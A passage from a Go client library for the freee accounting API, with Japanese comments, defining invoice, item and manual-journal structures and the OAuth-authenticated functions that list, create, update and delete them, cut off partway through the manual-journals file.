245 | AccountItemID int64 `json:"account_item_id"`
246 | // 勘定科目名
247 | AccountItemName string `json:"account_item_name"`
248 | // 税区分コード
249 | TaxCode int64 `json:"tax_code"`
250 | // 品目ID
251 | ItemID *int64 `json:"item_id,omitempty"`
252 | // 品目
253 | ItemName *string `json:"item_name,omitempty"`
254 | // 部門ID
255 | SectionID *int64 `json:"section_id,omitempty"`
256 | // 部門
257 | SectionName *string `json:"section_name,omitempty"`
258 | // メモタグID
259 | TagIDs []int64 `json:"tag_ids"`
260 | // メモタグ
261 | TagNames []string `json:"tag_names"`
262 | // セグメント1ID
263 | Segment1TagID *int64 `json:"segment_1_tag_id,omitempty"`
264 | // セグメント1
265 | Segment1TagName *string `json:"segment_1_tag_name,omitempty"`
266 | // セグメント2ID
267 | Segment2TagID *int64 `json:"segment_2_tag_id,omitempty"`
268 | // セグメント2
269 | Segment2TagName *string `json:"segment_2_tag_name,omitempty"`
270 | // セグメント3ID
271 | Segment3TagID *int64 `json:"segment_3_tag_id,omitempty"`
272 | // セグメント3
273 | Segment3TagName *string `json:"segment_3_tag_name,omitempty"`
274 | }
275 |
276 | type InvoiceCreateParams struct {
277 | // 事業所ID
278 | CompanyID int64 `json:"company_id"`
279 | // 請求日 (yyyy-mm-dd)
280 | IssueDate *string `json:"issue_date,omitempty"`
281 | // 取引先ID
282 | PartnerID *int64 `json:"partner_id,omitempty"`
283 | // 取引先コード
284 | PartnerCode *string `json:"partner_code,omitempty"`
285 | // 請求書番号 (デフォルト: 自動採番されます)
286 | InvoiceNumber *string `json:"invoice_number,omitempty"`
287 | // タイトル (デフォルト: 請求書)
288 | Title *string `json:"title,omitempty"`
289 | // 期日 (yyyy-mm-dd)
290 | DueDate *string `json:"due_date,omitempty"`
291 | // 売上計上日
292 | BookingDate *string `json:"booking_date,omitempty"`
293 | // 概要
294 | Description *string `json:"description,omitempty"`
295 | // 請求書ステータス
296 | //
297 | // - draft: 下書き (デフォルト)
298 | // - (廃止予定) issue: 発行 (送付待ち (unsubmitted) と同じです。)
299 | // - unsubmitted: 送付待ち
300 | // - submitted: 送付済み
301 | //
302 | // issue, unsubmitted, submitted は請求書承認ワークフローを利用している場合は指定できません。
303 | InvoiceStatus *string `json:"invoice_status,omitempty"`
304 | // 請求書に表示する取引先名
305 | PartnerDisplayName string `json:"partner_display_name"`
306 | // 敬称(御中、様、(空白)の3つから選択
307 | PartnerTitle string `json:"partner_title"`
308 | // 取引先担当者名
309 | PartnerContactInfo *string `json:"partner_contact_info,omitempty"`
310 | // 取引先郵便番号 (デフォルトはpartner_idもしくはpartner_codeで指定された取引先設定情報が補完されます)
311 | PartnerZipcode *string `json:"partner_zipcode,omitempty"`
312 | // 取引先都道府県コード(0:北海道、1:青森、2:岩手、3:宮城、4:秋田、5:山形、6:福島、7:茨城、8:栃木、9:群馬、10:埼玉、11:千葉、12:東京、13:神奈川、14:新潟、15:富山、16:石川、17:福井、18:山梨、19:長野、20:岐阜、21:静岡、22:愛知、23:三重、24:滋賀、25:京都、26:大阪、27:兵庫、28:奈良、29:和歌山、30:鳥取、31:島根、32:岡山、33:広島、34:山口、35:徳島、36:香川、37:愛媛、38:高知、39:福岡、40:佐賀、41:長崎、42:熊本、43:大分、44:宮崎、45:鹿児島、46:沖縄) (デフォルトはpartner_idもしくはpartner_codeで指定された取引先設定情報が補完されます)
313 | PartnerPrefectureCode *int64 `json:"partner_prefecture_code,omitempty"`
314 | // 取引先市区町村・番地 (デフォルトはpartner_idもしくはpartner_codeで指定された取引先設定情報が補完されます)
315 | PartnerAddress1 *string `json:"partner_address1,omitempty"`
316 | // 取引先建物名・部屋番号など (デフォルトはpartner_idもしくはpartner_codeで指定された取引先設定情報が補完されます)
317 | PartnerAddress2 *string `json:"partner_address2,omitempty"`
318 | // 事業所名 (デフォルトは事業所設定情報が補完されます)
319 | CompanyName *string `json:"company_name,omitempty"`
320 | // 郵便番号 (デフォルトは事業所設定情報が補完されます)
321 | CompanyZipcode *string `json:"company_zipcode,omitempty"`
322 | // 都道府県コード(0:北海道、1:青森、2:岩手、3:宮城、4:秋田、5:山形、6:福島、7:茨城、8:栃木、9:群馬、10:埼玉、11:千葉、12:東京、13:神奈川、14:新潟、15:富山、16:石川、17:福井、18:山梨、19:長野、20:岐阜、21:静岡、22:愛知、23:三重、24:滋賀、25:京都、26:大阪、27:兵庫、28:奈良、29:和歌山、30:鳥取、31:島根、32:岡山、33:広島、34:山口、35:徳島、36:香川、37:愛媛、38:高知、39:福岡、40:佐賀、41:長崎、42:熊本、43:大分、44:宮崎、45:鹿児島、46:沖縄) (デフォルトは事業所設定情報が補完されます)
323 | CompanyPrefectureCode *int64 `json:"company_prefecture_code,omitempty"`
324 | // 市区町村・番地 (デフォルトは事業所設定情報が補完されます)
325 | CompanyAddress1 *string `json:"company_address1,omitempty"`
326 | // 建物名・部屋番号など (デフォルトは事業所設定情報が補完されます)
327 | CompanyAddress2 *string `json:"company_address2,omitempty"`
328 | // 事業所担当者名 (デフォルトは請求書テンプレート情報が補完されます)
329 | CompanyContactInfo *string `json:"company_contact_info,omitempty"`
330 | // 支払方法 (振込: transfer, 引き落とし: direct_debit)
331 | PaymentType *string `json:"payment_type,omitempty"`
332 | // 支払口座
333 | PaymentBankInfo *string `json:"payment_bank_info,omitempty"`
334 | // 振込専用口座の利用(利用しない: not_use(デフォルト), 利用する: use)
335 | UseVirtualTransferAccount *string `json:"use_virtual_transfer_account,omitempty"`
336 | // メッセージ (デフォルト: 下記の通りご請求申し上げます。)
337 | Message *string `json:"message,omitempty"`
338 | // 備考
339 | Notes *string `json:"notes,omitempty"`
340 | // 請求書レイアウト
341 | // - default_classic - レイアウト1/クラシック (デフォルト)
342 | // - standard_classic - レイアウト2/クラシック
343 | // - envelope_classic - 封筒1/クラシック
344 | // - carried_forward_standard_classic - レイアウト3(繰越金額欄あり)/クラシック
345 | // - carried_forward_envelope_classic - 封筒2(繰越金額欄あり)/クラシック
346 | // - default_modern - レイアウト1/モダン
347 | // - standard_modern - レイアウト2/モダン
348 | // - envelope_modern - 封筒/モダン
349 | InvoiceLayout *string `json:"invoice_layout,omitempty"`
350 | // 請求書の消費税計算方法(inclusive: 内税表示, exclusive: 外税表示 (デフォルト))
351 | TaxEntryMethod *string `json:"tax_entry_method,omitempty"`
352 | // 請求内容
353 | InvoiceContents []InvoiceCreateParamsInvoiceContent `json:"invoice_contents"`
354 | }
355 |
356 | type InvoiceCreateParamsInvoiceContent struct {
357 | // 順序
358 | Order int64 `json:"order"`
359 | // 行の種類
360 | //
361 | // - normal、discountを指定する場合、account_item_id,tax_codeとunit_priceが必須となります。
362 | // - normalを指定した場合、qtyが必須となります。
363 | Type string `json:"type"`
364 | // 数量
365 | Qty json.Number `json:"qty"`
366 | // 単位
367 | Unit *string `json:"unit,omitempty"`
368 | // 単価 (tax_entry_method: inclusiveの場合は税込価格、tax_entry_method: exclusiveの場合は税抜価格となります)
369 | UnitPrice json.Number `json:"unit_price"`
370 | // 消費税額
371 | Vat *int64 `json:"vat,omitempty"`
372 | // 備考
373 | Description *string `json:"description,omitempty"`
374 | // 勘定科目ID
375 | AccountItemID int64 `json:"account_item_id"`
376 | // 税区分コード
377 | TaxCode int64 `json:"tax_code"`
378 | // 品目ID
379 | ItemID *int64 `json:"item_id,omitempty"`
380 | // 部門ID
381 | SectionID *int64 `json:"section_id,omitempty"`
382 | // メモタグID
383 | TagIDs *[]int64 `json:"tag_ids,omitempty"`
384 | // セグメント1ID
385 | Segment1TagID *int64 `json:"segment_1_tag_id,omitempty"`
386 | // セグメント2ID
387 | Segment2TagID *int64 `json:"segment_2_tag_id,omitempty"`
388 | // セグメント3ID
389 | Segment3TagID *int64 `json:"segment_3_tag_id,omitempty"`
390 | }
391 |
392 | type InvoiceUpdateParams struct {
393 | // 事業所ID
394 | CompanyID int64 `json:"company_id"`
395 | // 請求日 (yyyy-mm-dd)
396 | IssueDate *string `json:"issue_date,omitempty"`
397 | // 取引先ID
398 | PartnerID *int64 `json:"partner_id,omitempty"`
399 | // 取引先コード
400 | PartnerCode *string `json:"partner_code,omitempty"`
401 | // 請求書番号 (デフォルト: 自動採番されます)
402 | InvoiceNumber *string `json:"invoice_number,omitempty"`
403 | // タイトル (デフォルト: 請求書)
404 | Title *string `json:"title,omitempty"`
405 | // 期日 (yyyy-mm-dd)
406 | DueDate *string `json:"due_date,omitempty"`
407 | // 売上計上日
408 | BookingDate *string `json:"booking_date,omitempty"`
409 | // 概要
410 | Description *string `json:"description,omitempty"`
411 | // 請求書ステータス
412 | //
413 | // - draft: 下書き (デフォルト)
414 | // - (廃止予定) issue: 発行 (送付待ち (unsubmitted) と同じです。)
415 | // - unsubmitted: 送付待ち
416 | // - submitted: 送付済み
417 | //
418 | // issue, unsubmitted, submitted は請求書承認ワークフローを利用している場合は指定できません。
419 | InvoiceStatus *string `json:"invoice_status,omitempty"`
420 | // 請求書に表示する取引先名
421 | PartnerDisplayName string `json:"partner_display_name"`
422 | // 敬称(御中、様、(空白)の3つから選択)
423 | PartnerTitle string `json:"partner_title"`
424 | // 取引先担当者名
425 | PartnerContactInfo *string `json:"partner_contact_info,omitempty"`
426 | // 取引先郵便番号 (デフォルトはpartner_idもしくはpartner_codeで指定された取引先設定情報が補完されます)
427 | PartnerZipcode *string `json:"partner_zipcode,omitempty"`
428 | // 取引先都道府県コード(0:北海道、1:青森、2:岩手、3:宮城、4:秋田、5:山形、6:福島、7:茨城、8:栃木、9:群馬、10:埼玉、11:千葉、12:東京、13:神奈川、14:新潟、15:富山、16:石川、17:福井、18:山梨、19:長野、20:岐阜、21:静岡、22:愛知、23:三重、24:滋賀、25:京都、26:大阪、27:兵庫、28:奈良、29:和歌山、30:鳥取、31:島根、32:岡山、33:広島、34:山口、35:徳島、36:香川、37:愛媛、38:高知、39:福岡、40:佐賀、41:長崎、42:熊本、43:大分、44:宮崎、45:鹿児島、46:沖縄) (デフォルトはpartner_idもしくはpartner_codeで指定された取引先設定情報が補完されます)
429 | PartnerPrefectureCode *int64 `json:"partner_prefecture_code,omitempty"`
430 | // 取引先市区町村・番地 (デフォルトはpartner_idもしくはpartner_codeで指定された取引先設定情報が補完されます)
431 | PartnerAddress1 *string `json:"partner_address1,omitempty"`
432 | // 取引先建物名・部屋番号など (デフォルトはpartner_idもしくはpartner_codeで指定された取引先設定情報が補完されます)
433 | PartnerAddress2 *string `json:"partner_address2,omitempty"`
434 | // 事業所名 (デフォルトは事業所設定情報が補完されます)
435 | CompanyName *string `json:"company_name,omitempty"`
436 | // 郵便番号 (デフォルトは事業所設定情報が補完されます)
437 | CompanyZipcode *string `json:"company_zipcode,omitempty"`
438 | // 都道府県コード(0:北海道、1:青森、2:岩手、3:宮城、4:秋田、5:山形、6:福島、7:茨城、8:栃木、9:群馬、10:埼玉、11:千葉、12:東京、13:神奈川、14:新潟、15:富山、16:石川、17:福井、18:山梨、19:長野、20:岐阜、21:静岡、22:愛知、23:三重、24:滋賀、25:京都、26:大阪、27:兵庫、28:奈良、29:和歌山、30:鳥取、31:島根、32:岡山、33:広島、34:山口、35:徳島、36:香川、37:愛媛、38:高知、39:福岡、40:佐賀、41:長崎、42:熊本、43:大分、44:宮崎、45:鹿児島、46:沖縄) (デフォルトは事業所設定情報が補完されます)
439 | CompanyPrefectureCode *int64 `json:"company_prefecture_code,omitempty"`
440 | // 市区町村・番地 (デフォルトは事業所設定情報が補完されます)
441 | CompanyAddress1 *string `json:"company_address1,omitempty"`
442 | // 建物名・部屋番号など (デフォルトは事業所設定情報が補完されます)
443 | CompanyAddress2 *string `json:"company_address2,omitempty"`
444 | // 事業所担当者名 (デフォルトは請求書テンプレート情報が補完されます)
445 | CompanyContactInfo *string `json:"company_contact_info,omitempty"`
446 | // 支払方法 (振込: transfer, 引き落とし: direct_debit)
447 | PaymentType *string `json:"payment_type,omitempty"`
448 | // 支払口座
449 | PaymentBankInfo *string `json:"payment_bank_info,omitempty"`
450 | // 振込専用口座の利用(利用しない: not_use(デフォルト), 利用する: use)
451 | UseVirtualTransferAccount *string `json:"use_virtual_transfer_account,omitempty"`
452 | // メッセージ (デフォルト: 下記の通りご請求申し上げます。)
453 | Message *string `json:"message,omitempty"`
454 | // 備考
455 | Notes *string `json:"notes,omitempty"`
456 | // 請求書レイアウト
457 | // - default_classic - レイアウト1/クラシック (デフォルト)
458 | // - standard_classic - レイアウト2/クラシック
459 | // - envelope_classic - 封筒1/クラシック
460 | // - carried_forward_standard_classic - レイアウト3(繰越金額欄あり)/クラシック
461 | // - carried_forward_envelope_classic - 封筒2(繰越金額欄あり)/クラシック
462 | // - default_modern - レイアウト1/モダン
463 | // - standard_modern - レイアウト2/モダン
464 | // - envelope_modern - 封筒/モダン
465 | InvoiceLayout *string `json:"invoice_layout,omitempty"`
466 | // 請求書の消費税計算方法(inclusive: 内税表示, exclusive: 外税表示 (デフォルト))
467 | TaxEntryMethod *string `json:"tax_entry_method,omitempty"`
468 | // 請求内容
469 | InvoiceContents []InvoiceUpdateParamsInvoiceContent `json:"invoice_contents"`
470 | }
471 |
472 | type InvoiceUpdateParamsInvoiceContent struct {
473 | // 請求内容ID
474 | ID *int64 `json:"id,omitempty"`
475 | // 順序
476 | Order int64 `json:"order"`
477 | // 行の種類
478 | //
479 | // - normal、discountを指定する場合、account_item_id,tax_codeとunit_priceが必須となります。
480 | // - normalを指定した場合、qtyが必須となります。
481 | Type string `json:"type"`
482 | // 数量
483 | Qty json.Number `json:"qty"`
484 | // 単位
485 | Unit *string `json:"unit,omitempty"`
486 | // 単価 (tax_entry_method: inclusiveの場合は税込価格、tax_entry_method: exclusiveの場合は税抜価格となります)
487 | UnitPrice json.Number `json:"unit_price"`
488 | // 消費税額
489 | Vat *int64 `json:"vat,omitempty"`
490 | // 備考
491 | Description *string `json:"description,omitempty"`
492 | // 勘定科目ID
493 | AccountItemID int64 `json:"account_item_id"`
494 | // 税区分コード
495 | TaxCode int64 `json:"tax_code"`
496 | // 品目ID
497 | ItemID *int64 `json:"item_id,omitempty"`
498 | // 部門ID
499 | SectionID *int64 `json:"section_id,omitempty"`
500 | // メモタグID
501 | TagIDs *[]int64 `json:"tag_ids,omitempty"`
502 | // セグメント1ID
503 | Segment1TagID *int64 `json:"segment_1_tag_id,omitempty"`
504 | // セグメント2ID
505 | Segment2TagID *int64 `json:"segment_2_tag_id,omitempty"`
506 | // セグメント3ID
507 | Segment3TagID *int64 `json:"segment_3_tag_id,omitempty"`
508 | }
509 |
510 | func (c *Client) GetInvoices(
511 | ctx context.Context, oauth2Token *oauth2.Token,
512 | companyID int64, opts GetInvoiceOpts,
513 | ) (*InvoicesResponse, *oauth2.Token, error) {
514 | var result InvoicesResponse
515 | v, err := query.Values(opts)
516 | if err != nil {
517 | return nil, oauth2Token, err
518 | }
519 | SetCompanyID(&v, companyID)
520 | oauth2Token, err = c.call(ctx, APIPathInvoices, http.MethodGet, oauth2Token, v, nil, &result)
521 | if err != nil {
522 | return nil, oauth2Token, err
523 | }
524 | return &result, oauth2Token, nil
525 | }
526 |
527 | func (c *Client) GetInvoice(
528 | ctx context.Context, oauth2Token *oauth2.Token,
529 | companyID int64, invoiceID int64, opts GetInvoiceOpts,
530 | ) (*Invoice, *oauth2.Token, error) {
531 | var result InvoiceResponse
532 | v, err := query.Values(opts)
533 | if err != nil {
534 | return nil, oauth2Token, err
535 | }
536 | SetCompanyID(&v, companyID)
537 | oauth2Token, err = c.call(ctx, path.Join(APIPathInvoices, fmt.Sprint(invoiceID)), http.MethodGet, oauth2Token, v, nil, &result)
538 | if err != nil {
539 | return nil, oauth2Token, err
540 | }
541 | return &result.Invoice, oauth2Token, nil
542 | }
543 |
544 | func (c *Client) CreateInvoice(
545 | ctx context.Context, oauth2Token *oauth2.Token,
546 | params InvoiceCreateParams,
547 | ) (*Invoice, *oauth2.Token, error) {
548 | var result InvoiceResponse
549 | oauth2Token, err := c.call(ctx, APIPathInvoices, http.MethodPost, oauth2Token, nil, params, &result)
550 | if err != nil {
551 | return nil, oauth2Token, err
552 | }
553 | return &result.Invoice, oauth2Token, nil
554 | }
555 |
556 | func (c *Client) UpdateInvoice(
557 | ctx context.Context, oauth2Token *oauth2.Token,
558 | invoiceID int64, params InvoiceUpdateParams,
559 | ) (*Invoice, *oauth2.Token, error) {
560 | var result InvoiceResponse
561 | oauth2Token, err := c.call(ctx, path.Join(APIPathInvoices, fmt.Sprint(invoiceID)), http.MethodPut, oauth2Token, nil, params, &result)
562 | if err != nil {
563 | return nil, oauth2Token, err
564 | }
565 | return &result.Invoice, oauth2Token, nil
566 | }
567 |
568 | func (c *Client) DestroyInvoice(
569 | ctx context.Context, oauth2Token *oauth2.Token,
570 | companyID int64, invoiceID int64,
571 | ) (*oauth2.Token, error) {
572 | v, err := query.Values(nil)
573 | if err != nil {
574 | return oauth2Token, err
575 | }
576 | SetCompanyID(&v, companyID)
577 | oauth2Token, err = c.call(ctx, path.Join(APIPathInvoices, fmt.Sprint(invoiceID)), http.MethodDelete, oauth2Token, v, nil, nil)
578 | if err != nil {
579 | return oauth2Token, err
580 | }
581 | return oauth2Token, nil
582 | }
583 |
--------------------------------------------------------------------------------
/items.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "net/http"
7 | "path"
8 |
9 | "github.com/google/go-querystring/query"
10 | "golang.org/x/oauth2"
11 | )
12 |
13 | const (
14 | APIPathItems = "items"
15 | )
16 |
17 | type Items struct {
18 | Items []Item `json:"items"`
19 | }
20 |
21 | type ItemResponse struct {
22 | Item Item `json:"item"`
23 | }
24 |
25 | type Item struct {
26 | // 品目ID
27 | ID int64 `json:"id"`
28 | // 事業所ID
29 | CompanyID int64 `json:"company_id"`
30 | // 品目名 (30文字以内)
31 | Name string `json:"name"`
32 | // 更新日(yyyy-mm-dd)
33 | UpdateDate string `json:"update_date"`
34 | // 品目の使用設定(true: 使用する、false: 使用しない)
35 | Available bool `json:"available"`
36 | // ショートカット1 (20文字以内)
37 | Shortcut1 *string `json:"shortcut1,omitempty"`
38 | // ショートカット2 (20文字以内)
39 | Shortcut2 *string `json:"shortcut2,omitempty"`
40 | // コード
41 | Code *string `json:"code,omitempty"`
42 | }
43 |
44 | type GetItemsOpts struct {
45 | Offset int64 `url:"offset,omitempty"`
46 | Limit int64 `url:"limit,omitempty"`
47 | }
48 |
49 | type ItemParams struct {
50 | // 事業所ID
51 | CompanyID int64 `json:"company_id"`
52 | // 品目名 (30文字以内)
53 | Name string `json:"name"`
54 | // ショートカット1 (20文字以内)
55 | Shortcut1 *string `json:"shortcut1,omitempty"`
56 | // ショートカット2 (20文字以内)
57 | Shortcut2 *string `json:"shortcut2,omitempty"`
58 | // コード(利用を有効にしている場合は必須)
59 | Code *string `json:"code,omitempty"`
60 | }
61 |
62 | func (c *Client) GetItems(
63 | ctx context.Context, oauth2Token *oauth2.Token,
64 | companyID int64, opts GetItemsOpts,
65 | ) (*Items, *oauth2.Token, error) {
66 | var result Items
67 |
68 | v, err := query.Values(opts)
69 | if err != nil {
70 | return nil, oauth2Token, err
71 | }
72 | SetCompanyID(&v, companyID)
73 | oauth2Token, err = c.call(ctx, APIPathItems, http.MethodGet, oauth2Token, v, nil, &result)
74 | if err != nil {
75 | return nil, oauth2Token, err
76 | }
77 |
78 | return &result, oauth2Token, nil
79 | }
80 |
81 | func (c *Client) CreateItem(
82 | ctx context.Context, oauth2Token *oauth2.Token,
83 | params ItemParams,
84 | ) (*Item, *oauth2.Token, error) {
85 | var result ItemResponse
86 | oauth2Token, err := c.call(ctx, APIPathItems, http.MethodPost, oauth2Token, nil, params, &result)
87 | if err != nil {
88 | return nil, oauth2Token, err
89 | }
90 | return &result.Item, oauth2Token, nil
91 | }
92 |
93 | func (c *Client) UpdateItem(
94 | ctx context.Context, oauth2Token *oauth2.Token,
95 | params ItemParams,
96 | itemID int64,
97 | ) (*Item, *oauth2.Token, error) {
98 | var result ItemResponse
99 | oauth2Token, err := c.call(ctx, path.Join(APIPathItems, fmt.Sprint(itemID)), http.MethodPut, oauth2Token, nil, params, &result)
100 | if err != nil {
101 | return nil, oauth2Token, err
102 | }
103 | return &result.Item, oauth2Token, nil
104 | }
105 |
106 | func (c *Client) DestroyItem(
107 | ctx context.Context, oauth2Token *oauth2.Token,
108 | companyID int64, itemID int64,
109 | ) (*oauth2.Token, error) {
110 | v, err := query.Values(nil)
111 | if err != nil {
112 | return oauth2Token, err
113 | }
114 | SetCompanyID(&v, companyID)
115 | oauth2Token, err = c.call(ctx, path.Join(APIPathItems, fmt.Sprint(itemID)), http.MethodDelete, oauth2Token, v, nil, nil)
116 | if err != nil {
117 | return oauth2Token, err
118 | }
119 |
120 | return oauth2Token, nil
121 | }
122 |
--------------------------------------------------------------------------------
/logger.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | // Logger generic interface for logger
4 | type Logger interface {
5 | Printf(string, ...interface{})
6 | }
7 |
8 | func (c *Client) logf(format string, a ...interface{}) {
9 | if c.config.Log != nil {
10 | c.config.Log.Printf(format, a...)
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/manual_journals.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "net/http"
7 | "path"
8 |
9 | "github.com/google/go-querystring/query"
10 | "golang.org/x/oauth2"
11 | )
12 |
13 | const (
14 | APIPathManualJournals = "manual_journals"
15 |
16 | ManualJournalEntrySideCredit = "credit"
17 | ManualJournalEntrySideDebit = "debit"
18 | )
19 |
20 | type ManualJournalsResponse struct {
21 | ManualJournals []ManualJournal `json:"manual_journals"`
22 | }
23 |
24 | type ManualJournalResponse struct {
25 | ManualJournal ManualJournal `json:"manual_journal"`
26 | }
27 |
28 | type ManualJournal struct {
29 | // 振替伝票ID
30 | ID int64 `json:"id"`
31 | // 事業所ID
32 | CompanyID int64 `json:"company_id"`
33 | // 発生日 (yyyy-mm-dd)
34 | IssueDate string `json:"issue_date"`
35 | // 決算整理仕訳フラグ(falseまたは未指定の場合: 日常仕訳)
36 | Adjustment bool `json:"adjustment"`
37 | // 仕訳番号
38 | TxnNumber *string `json:"txn_number"`
39 | // 貸借行一覧(配列): 貸借合わせて100行まで登録できます。
40 | Details []ManualJournalDetails `json:"details"`
41 | // 証憑ファイルID(ファイルボックスのファイルID)(配列)
42 | ReceiptIDs []int64 `json:"receipt_ids"`
43 | }
44 |
45 | type ManualJournalDetails struct {
46 | // 貸借行ID
47 | ID int64 `json:"id"`
48 | // 貸借(貸方: credit, 借方: debit)
49 | EntrySide string `json:"entry_side"`
50 | // 勘定科目ID
51 | AccountItemID int64 `json:"account_item_id"`
52 | // 税区分コード
53 | TaxCode int64 `json:"tax_code"`
54 | // 取引先ID
55 | PartnerID *int64 `json:"partner_id"`
56 | // 取引先名
57 | PartnerName *string `json:"partner_name"`
58 | // 取引先コード
59 | PartnerCode *string `json:"partner_code,omitempty"`
60 | // 正式名称(255文字以内)
61 | PartnerLongName *string `json:"partner_long_name"`
62 | // 品目ID
63 | ItemID *int64 `json:"item_id"`
64 | // 品目
65 | ItemName *string `json:"item_name"`
66 | // 部門ID
67 | SectionID *int64 `json:"section_id"`
68 | // 部門
69 | SectionName *string `json:"section_name"`
70 | TagIDs []int64 `json:"tag_ids"`
71 | TagNames []string `json:"tag_names"`
72 | // セグメント1ID
73 | Segment1TagID int64 `json:"segment_1_tag_id,omitempty"`
74 | // セグメント1ID
75 | Segment1TagName *string `json:"segment_1_tag_name,omitempty"`
76 | // セグメント2ID
77 | Segment2TagID int64 `json:"segment_2_tag_id,omitempty"`
78 | // セグメント2
79 | Segment2TagName *string `json:"segment_2_tag_name,omitempty"`
80 | // セグメント3ID
81 | Segment3TagID int64 `json:"segment_3_tag_id,omitempty"`
82 | // セグメント3
83 | Segment3TagName *string `json:"segment_3_tag_name,omitempty"`
84 | // 金額(税込で指定してください)
85 | Amount int64 `json:"amount"`
86 | // 消費税額(指定しない場合は自動で計算されます)
87 | Vat *int64 `json:"vat,omitempty"`
88 | // 備考
89 | Description string `json:"description"`
90 | }
91 |
92 | type CreateManualJournalParams struct {
93 | // 事業所ID
94 | CompanyID int64 `json:"company_id"`
95 | // 発生日 (yyyy-mm-dd)
96 | IssueDate string `json:"issue_date"`
97 | // 仕訳番号
98 | TxnNumber string `json:"txn_number,omitempty"`
99 | // 決算整理仕訳フラグ(falseまたは未指定の場合: 日常仕訳)
100 | Adjustment bool `json:"adjustment,omitempty"`
101 | CreateManualJournalParamsDetails []CreateManualJournalParamsDetail `json:"details"`
102 | // 証憑ファイルID(ファイルボックスのファイルID)(配列)
103 | ReceiptIDs []int64 `json:"receipt_ids,omitempty"`
104 | }
105 |
106 | type CreateManualJournalParamsDetail struct {
107 | // 貸借(貸方: credit, 借方: debit)
108 | EntrySide string `json:"entry_side"`
109 | // 税区分コード
110 | TaxCode int64 `json:"tax_code"`
111 | // 勘定科目ID
112 | AccountItemID int64 `json:"account_item_id"`
113 | // 取引金額(税込で指定してください)
114 | Amount int64 `json:"amount"`
115 | // 消費税額(指定しない場合は自動で計算されます)
116 | Vat *int64 `json:"vat,omitempty"`
117 | // 取引先ID
118 | PartnerID int64 `json:"partner_id,omitempty"`
119 | // 取引先コード
120 | PartnerCode string `json:"partner_code,omitempty"`
121 | // 品目ID
122 | ItemID int64 `json:"item_id,omitempty"`
123 | // 部門ID
124 | SectionID int64 `json:"section_id,omitempty"`
125 | // メモタグID
126 | TagIDs []int64 `json:"tag_ids,omitempty"`
127 | // セグメント1ID
128 | Segment1TagID int64 `json:"segment_1_tag_id,omitempty"`
129 | // セグメント2ID
130 | Segment2TagID int64 `json:"segment_2_tag_id,omitempty"`
131 | // セグメント3ID
132 | Segment3TagID int64 `json:"segment_3_tag_id,omitempty"`
133 | // 備考
134 | Description string `json:"description,omitempty"`
135 | }
136 |
137 | type UpdateManualJournalParams struct {
138 | // 事業所ID
139 | CompanyID int64 `json:"company_id"`
140 | // 発生日 (yyyy-mm-dd)
141 | IssueDate string `json:"issue_date"`
142 | // 決算整理仕訳フラグ(falseまたは未指定の場合: 日常仕訳)
143 | Adjustment bool `json:"adjustment,omitempty"`
144 | Details []UpdateManualJournalParamsDetails `json:"details"`
145 | // 証憑ファイルID(ファイルボックスのファイルID)(配列)
146 | ReceiptIDs []int64 `json:"receipt_ids,omitempty"`
147 | }
148 |
149 | // ManualJournalUpdateParamsDetails 貸借行一覧(配列): 貸借合わせて100行まで登録できます。
150 | type UpdateManualJournalParamsDetails struct {
151 | // 貸借行ID: 既存貸借行を更新または削除する場合に指定します。IDを指定しない貸借行は、新規行として扱われ追加されます。
152 | ID int64 `json:"id,omitempty"`
153 | // 貸借(貸方: credit, 借方: debit)
154 | EntrySide string `json:"entry_side"`
155 | // 税区分コード
156 | TaxCode int64 `json:"tax_code"`
157 | // 勘定科目ID
158 | AccountItemID int64 `json:"account_item_id"`
159 | // 取引金額(税込で指定してください)
160 | Amount int64 `json:"amount"`
161 | // 消費税額(指定しない場合は自動で計算されます)
162 | Vat *int64 `json:"vat,omitempty"`
163 | // 取引先ID
164 | PartnerID int64 `json:"partner_id,omitempty"`
165 | // 取引先コード
166 | PartnerCode string `json:"partner_code,omitempty"`
167 | // 品目ID
168 | ItemID int64 `json:"item_id,omitempty"`
169 | // 部門ID
170 | SectionID int64 `json:"section_id,omitempty"`
171 | // メモタグID
172 | TagIDs []int64 `json:"tag_ids,omitempty"`
173 | // セグメント1ID
174 | Segment1TagID int64 `json:"segment_1_tag_id,omitempty"`
175 | // セグメント2ID
176 | Segment2TagID int64 `json:"segment_2_tag_id,omitempty"`
177 | // セグメント3ID
178 | Segment3TagID int64 `json:"segment_3_tag_id,omitempty"`
179 | // 備考
180 | Description string `json:"description,omitempty"`
181 | }
182 |
183 | type GetManualJournalsOpts struct {
184 | // 発生日で絞込:開始日(yyyy-mm-dd)
185 | StartIssueDate string `url:"start_issue_date,omitempty"`
186 | // 発生日で絞込:終了日(yyyy-mm-dd)
187 | EndIssueDate string `url:"end_issue_date,omitempty"`
188 | // 貸借で絞込 (貸方: credit, 借方: debit)
189 | EntrySide string `url:"entry_side,omitempty"`
190 | Offset int64 `url:"offset,omitempty"`
191 | Limit int64 `url:"limit,omitempty"`
192 | }
193 |
194 | func (c *Client) CreateManualJournal(
195 | ctx context.Context, oauth2Token *oauth2.Token,
196 | params CreateManualJournalParams,
197 | ) (*ManualJournalResponse, *oauth2.Token, error) {
198 | var result ManualJournalResponse
199 |
200 | oauth2Token, err := c.call(ctx, APIPathManualJournals, http.MethodPost, oauth2Token, nil, params, &result)
201 | if err != nil {
202 | return nil, oauth2Token, err
203 | }
204 |
205 | return &result, oauth2Token, nil
206 | }
207 |
208 | func (c *Client) UpdateManualJournal(
209 | ctx context.Context, oauth2Token *oauth2.Token,
210 | journalID int64, params UpdateManualJournalParams,
211 | ) (*ManualJournalResponse, *oauth2.Token, error) {
212 | var result ManualJournalResponse
213 |
214 | oauth2Token, err := c.call(ctx, path.Join(APIPathManualJournals, fmt.Sprint(journalID)), http.MethodPut, oauth2Token, nil, params, &result)
215 | if err != nil {
216 | return nil, oauth2Token, err
217 | }
218 |
219 | return &result, oauth2Token, nil
220 | }
221 |
222 | func (c *Client) DestroyManualJournal(
223 | ctx context.Context, oauth2Token *oauth2.Token,
224 | companyID int64, journalID int64,
225 | ) (*oauth2.Token, error) {
226 | v, err := query.Values(nil)
227 | if err != nil {
228 | return oauth2Token, err
229 | }
230 | SetCompanyID(&v, companyID)
231 | oauth2Token, err = c.call(ctx, path.Join(APIPathManualJournals, fmt.Sprint(journalID)), http.MethodDelete, oauth2Token, v, nil, nil)
232 | if err != nil {
